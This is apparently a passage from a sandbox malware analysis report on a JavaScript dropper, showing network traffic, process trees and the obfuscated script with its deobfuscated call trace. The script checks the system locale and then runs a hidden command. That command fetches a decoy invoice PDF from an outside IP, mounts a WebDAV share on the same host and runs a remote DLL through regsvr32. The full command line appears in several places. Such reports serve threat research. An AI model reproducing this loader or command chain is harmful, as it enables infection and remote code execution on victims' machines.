Jan 11, 2025 07:12:15.297838926 CET	53	54561	162.159.36.2	192.168.2.6
Jan 11, 2025 07:12:15.793081999 CET	53	57442	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:11:43.805552959 CET	192.168.2.6	1.1.1.1	0x5274	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:11:43.812793970 CET	1.1.1.1	192.168.2.6	0x5274	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:11:44.607506037 CET	1.1.1.1	192.168.2.6	0xea7f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:11:44.607506037 CET	1.1.1.1	192.168.2.6	0xea7f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	7028	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:11:32.936619043 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:11:33.744039059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:11:33 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:11:33.744090080 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:11:33.744101048 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:11:33.744219065 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 07:11:33.744230032 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 07:11:33.744240999 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 07:11:33.744251966 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 07:11:33.744263887 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 07:11:33.744362116 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 07:11:33.744378090 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 07:11:33.749201059 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	193.143.1.205	8888	6724	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:11:36.063716888 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:11:36.842295885 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:11:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:11:29
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js"
Imagebase:	0x7ff73fd80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:11:30
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Imagebase:	0x7ff771020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:11:30
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:11:30
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:11:34
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:11:34
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff771020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:11:34
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff609b00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:11:35
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:11:35
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:11:35
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1600,i,16447095256642553858,17174471590947947987,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xqnowucb() {	xqnowucb() ➔ undefined
1	lyqsmrfph = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eovwz = this[srggzxow + bqkzrlbie + mgbns + dfooosd + wcdar + mnjteklj + jbvxijd + yyobf] ( this[lxnfuumyp + qirwn + jaqbnvksp + mgbns + qdqvhc + srggzxow + yyobf][frmriyar + mgbns + wcdar + bqkzrlbie + yyobf + wcdar + fqxyvgzjc + nstnmq + kvqfeuyh + wcdar + jaqbnvksp + yyobf] ( lxnfuumyp + qirwn + jaqbnvksp + mgbns + qdqvhc + srggzxow + yyobf + bfssbb + qirwn + gazsq + wcdar + pkoymxseh + pkoymxseh ) [sicdqd + wcdar + byaorfvjw + sicdqd + wcdar + bqkzrlbie + kjsxyuv] ( maxrvu + cxorbdw + tnukur + fezuy + epfthlveu + frmriyar + xkrkrx + sicdqd + sicdqd + tnukur + rvxivkfdo + ttdstq + epfthlveu + xkrkrx + qirwn + tnukur + sicdqd + vyidi + frmriyar + tskfwilrt + jbvxijd + yyobf + mgbns + tskfwilrt + pkoymxseh + wphlkllny + ecwlzkc + bqkzrlbie + jbvxijd + wcdar + pkoymxseh + vyidi + mnjteklj + jbvxijd + yyobf + wcdar + mgbns + jbvxijd + bqkzrlbie + yyobf + qdqvhc + tskfwilrt + jbvxijd + bqkzrlbie + pkoymxseh + vyidi + tjyogewvg + tskfwilrt + jaqbnvksp + bqkzrlbie + pkoymxseh + wcdar ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tlrnzrdsl = 0 ; tlrnzrdsl < lyqsmrfph[pkoymxseh + wcdar + jbvxijd + byaorfvjw + yyobf + gazsq] ; ++ tlrnzrdsl )
4	{
5	if ( eovwz == lyqsmrfph[tlrnzrdsl] )
6	{
7	eovwz = true;
8	break ;
9	}
10	}
11	if ( eovwz !== true )
12	this[lxnfuumyp + qirwn + jaqbnvksp + mgbns + qdqvhc + srggzxow + yyobf][zcinym + whjjo + qdqvhc + yyobf] ( );
13	this[lxnfuumyp + qirwn + jaqbnvksp + mgbns + qdqvhc + srggzxow + yyobf][frmriyar + mgbns + wcdar + bqkzrlbie + yyobf + wcdar + fqxyvgzjc + nstnmq + kvqfeuyh + wcdar + jaqbnvksp + yyobf] ( lxnfuumyp + qirwn + jaqbnvksp + mgbns + qdqvhc + srggzxow + yyobf + bfssbb + qirwn + gazsq + wcdar + pkoymxseh + pkoymxseh ) [mgbns + whjjo + jbvxijd] ( jaqbnvksp + yoazsah + kjsxyuv + wphlkllny + dgquqjsfh + jaqbnvksp + wphlkllny + srggzxow + tskfwilrt + kipudiyr + wcdar + mgbns + dfooosd + gazsq + wcdar + pkoymxseh + pkoymxseh + bfssbb + wcdar + izbneio + wcdar + wphlkllny + vzdpxwybm + frmriyar + tskfwilrt + yoazsah + yoazsah + bqkzrlbie + jbvxijd + kjsxyuv + wphlkllny + knxui + mnjteklj + jbvxijd + vnbih + tskfwilrt + ixslilwun + wcdar + vzdpxwybm + lxnfuumyp + wcdar + nstnmq + sicdqd + wcdar + reruik + whjjo + wcdar + dfooosd + yyobf + wphlkllny + vzdpxwybm + fqxyvgzjc + whjjo + yyobf + qwxemyn + qdqvhc + pkoymxseh + wcdar + wphlkllny + rbvycmy + yyobf + wcdar + yoazsah + srggzxow + rbvycmy + vyidi + qdqvhc + jbvxijd + vnbih + tskfwilrt + qdqvhc + jaqbnvksp + wcdar + bfssbb + srggzxow + kjsxyuv + krqqsnv + wphlkllny + gazsq + yyobf + yyobf + srggzxow + gisrpna + dgquqjsfh + dgquqjsfh + kuzlo + thlkihang + gbggk + bfssbb + kuzlo + trnqvjxa + gbggk + bfssbb + kuzlo + bfssbb + uwzzovw + xjouiplrd + dhamre + dgquqjsfh + qdqvhc + jbvxijd + vnbih + tskfwilrt + qdqvhc + jaqbnvksp + wcdar + bfssbb + srggzxow + gazsq + srggzxow + knxui + erliia + erliia + dfooosd + yyobf + bqkzrlbie + mgbns + yyobf + wphlkllny + rbvycmy + yyobf + wcdar + yoazsah + srggzxow + rbvycmy + vyidi + qdqvhc + jbvxijd + vnbih + tskfwilrt + qdqvhc + jaqbnvksp + wcdar + bfssbb + srggzxow + kjsxyuv + krqqsnv + erliia + erliia + jaqbnvksp + yoazsah + kjsxyuv + wphlkllny + dgquqjsfh + jaqbnvksp + wphlkllny + jbvxijd + wcdar + yyobf + wphlkllny + whjjo + dfooosd + wcdar + wphlkllny + vyidi + vyidi + kuzlo + thlkihang + gbggk + bfssbb + kuzlo + trnqvjxa + gbggk + bfssbb + kuzlo + bfssbb + uwzzovw + xjouiplrd + dhamre + nrayjkzsj + dheltbflt + dheltbflt + dheltbflt + dheltbflt + vyidi + kjsxyuv + bqkzrlbie + vnbih + kipudiyr + kipudiyr + kipudiyr + mgbns + tskfwilrt + tskfwilrt + yyobf + vyidi + erliia + erliia + jaqbnvksp + yoazsah + kjsxyuv + wphlkllny + dgquqjsfh + jaqbnvksp + wphlkllny + mgbns + wcdar + byaorfvjw + dfooosd + vnbih + mgbns + gbggk + uwzzovw + wphlkllny + dgquqjsfh + dfooosd + wphlkllny + vyidi + vyidi + kuzlo + thlkihang + gbggk + bfssbb + kuzlo + trnqvjxa + gbggk + bfssbb + kuzlo + bfssbb + uwzzovw + xjouiplrd + dhamre + nrayjkzsj + dheltbflt + dheltbflt + dheltbflt + dheltbflt + vyidi + kjsxyuv + bqkzrlbie + vnbih + kipudiyr + kipudiyr + kipudiyr + mgbns + tskfwilrt + tskfwilrt + yyobf + vyidi + kuzlo + kuzlo + dheltbflt + dqfffuhaf + dhamre + kuzlo + thlkihang + dhamre + xjouiplrd + trnqvjxa + kuzlo + gbggk + dheltbflt + sosfhixas + sosfhixas + bfssbb + kjsxyuv + pkoymxseh + pkoymxseh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll",0,false) ➔ 0
14	}
15	dqfffuhaf = "s";
16	dqfffuhaf = "l";
17	dqfffuhaf = "j";
18	dqfffuhaf = "y";
19	dqfffuhaf = "c";
20	dqfffuhaf = "g";
21	dqfffuhaf = "J";
22	dqfffuhaf = "W";
23	dqfffuhaf = "7";
24	dfooosd = "i";
25	dfooosd = "O";
26	dfooosd = "w";
27	dfooosd = "i";
28	dfooosd = "r";
29	dfooosd = "S";
30	dfooosd = "c";
31	dfooosd = "L";
32	dfooosd = "q";
33	dfooosd = "V";
34	dfooosd = "K";
35	dfooosd = "g";
36	dfooosd = "I";
37	dfooosd = "n";
38	dfooosd = "Z";
39	dfooosd = "n";
40	dfooosd = "b";
41	dfooosd = "l";
42	dfooosd = "v";
43	dfooosd = "m";
44	dfooosd = "H";
45	dfooosd = "i";
46	dfooosd = "N";
47	dfooosd = "C";
48	dfooosd = "t";
49	dfooosd = "O";
50	dfooosd = "W";
51	dfooosd = "Y";
52	dfooosd = "h";
53	dfooosd = "z";
54	dfooosd = "p";
55	dfooosd = "d";
56	dfooosd = "j";
57	dfooosd = "i";
58	dfooosd = "s";
59	tnukur = "p";
60	tnukur = "B";
61	tnukur = "w";
62	tnukur = "n";
63	tnukur = "w";
64	tnukur = "W";
65	tnukur = "J";
66	tnukur = "O";
67	tnukur = "N";
68	tnukur = "v";
69	tnukur = "e";
70	tnukur = "G";
71	tnukur = "K";
72	tnukur = "d";
73	tnukur = "C";
74	tnukur = "m";
75	tnukur = "L";
76	tnukur = "G";
77	tnukur = "H";
78	tnukur = "j";
79	tnukur = "s";
80	tnukur = "r";
81	tnukur = "V";
82	tnukur = "i";
83	tnukur = "b";
84	tnukur = "K";
85	tnukur = "T";
86	tnukur = "q";
87	tnukur = "K";
88	tnukur = "z";
89	tnukur = "g";
90	tnukur = "P";
91	tnukur = "W";
92	tnukur = "V";
93	tnukur = "A";
94	tnukur = "u";
95	tnukur = "C";
96	tnukur = "E";
97	vzdpxwybm = "T";
98	vzdpxwybm = "o";
99	vzdpxwybm = "r";
100	vzdpxwybm = "d";
101	vzdpxwybm = "e";
102	vzdpxwybm = "O";
103	vzdpxwybm = "I";
104	vzdpxwybm = "c";
105	vzdpxwybm = "k";
106	vzdpxwybm = "v";
107	vzdpxwybm = "M";
108	vzdpxwybm = "u";
109	vzdpxwybm = "i";
110	vzdpxwybm = "F";
111	vzdpxwybm = "v";
112	vzdpxwybm = "I";
113	vzdpxwybm = "d";
114	vzdpxwybm = "o";
115	vzdpxwybm = "R";
116	vzdpxwybm = "A";
117	vzdpxwybm = "e";
118	vzdpxwybm = "i";
119	vzdpxwybm = "o";
120	vzdpxwybm = "D";
121	vzdpxwybm = "R";
122	vzdpxwybm = "e";
123	vzdpxwybm = "Q";
124	vzdpxwybm = "c";
125	vzdpxwybm = "g";
126	vzdpxwybm = "A";
127	vzdpxwybm = "F";
128	vzdpxwybm = "K";
129	vzdpxwybm = "q";
130	vzdpxwybm = "n";
131	vzdpxwybm = "E";
132	vzdpxwybm = "X";
133	vzdpxwybm = "z";
134	vzdpxwybm = "B";
135	vzdpxwybm = "j";
136	vzdpxwybm = "E";
137	vzdpxwybm = "-";
138	xjouiplrd = "v";
139	xjouiplrd = "W";
140	xjouiplrd = "0";
141	nstnmq = "l";
142	nstnmq = "w";
143	nstnmq = "I";
144	nstnmq = "q";
145	nstnmq = "b";
146	wphlkllny = "E";
147	wphlkllny = "m";
148	wphlkllny = "Q";
149	wphlkllny = "C";
150	wphlkllny = "A";
151	wphlkllny = "n";
152	wphlkllny = "G";
153	wphlkllny = "i";
154	wphlkllny = "X";
155	wphlkllny = "b";
156	wphlkllny = "e";
157	wphlkllny = "e";
158	wphlkllny = "C";
159	wphlkllny = "C";
160	wphlkllny = " ";
161	vyidi = "Y";
162	vyidi = "s";
163	vyidi = "F";
164	vyidi = "W";
165	vyidi = "w";
166	vyidi = "Q";
167	vyidi = "\\";
168	kuzlo = "H";
169	kuzlo = "D";
170	kuzlo = "c";
171	kuzlo = "X";
172	kuzlo = "d";
173	kuzlo = "v";
174	kuzlo = "d";
175	kuzlo = "c";
176	kuzlo = "R";
177	kuzlo = "X";
178	kuzlo = "b";
179	kuzlo = "j";
180	kuzlo = "M";
181	kuzlo = "S";
182	kuzlo = "x";
183	kuzlo = "W";
184	kuzlo = "B";
185	kuzlo = "R";
186	kuzlo = "q";
187	kuzlo = "p";
188	kuzlo = "a";
189	kuzlo = "d";
190	kuzlo = "a";
191	kuzlo = "P";
192	kuzlo = "a";
193	kuzlo = "h";
194	kuzlo = "I";
195	kuzlo = "m";
196	kuzlo = "N";
197	kuzlo = "J";
198	kuzlo = "q";
199	kuzlo = "c";
200	kuzlo = "m";
201	kuzlo = "D";
202	kuzlo = "F";
203	kuzlo = "s";
204	kuzlo = "e";
205	kuzlo = "t";
206	kuzlo = "q";
207	kuzlo = "Z";
208	kuzlo = "F";
209	kuzlo = "h";
210	kuzlo = "X";
211	kuzlo = "1";
212	ecwlzkc = "t";
213	ecwlzkc = "j";
214	ecwlzkc = "t";
215	ecwlzkc = "i";
216	ecwlzkc = "u";
217	ecwlzkc = "v";
218	ecwlzkc = "a";
219	ecwlzkc = "t";
220	ecwlzkc = "P";
221	ecwlzkc = "K";
222	ecwlzkc = "Z";
223	ecwlzkc = "H";
224	ecwlzkc = "P";
225	rvxivkfdo = "y";
226	rvxivkfdo = "C";
227	rvxivkfdo = "J";
228	rvxivkfdo = "D";
229	rvxivkfdo = "r";
230	rvxivkfdo = "C";
231	rvxivkfdo = "r";
232	rvxivkfdo = "b";
233	rvxivkfdo = "H";
234	rvxivkfdo = "U";
235	rvxivkfdo = "o";
236	rvxivkfdo = "n";
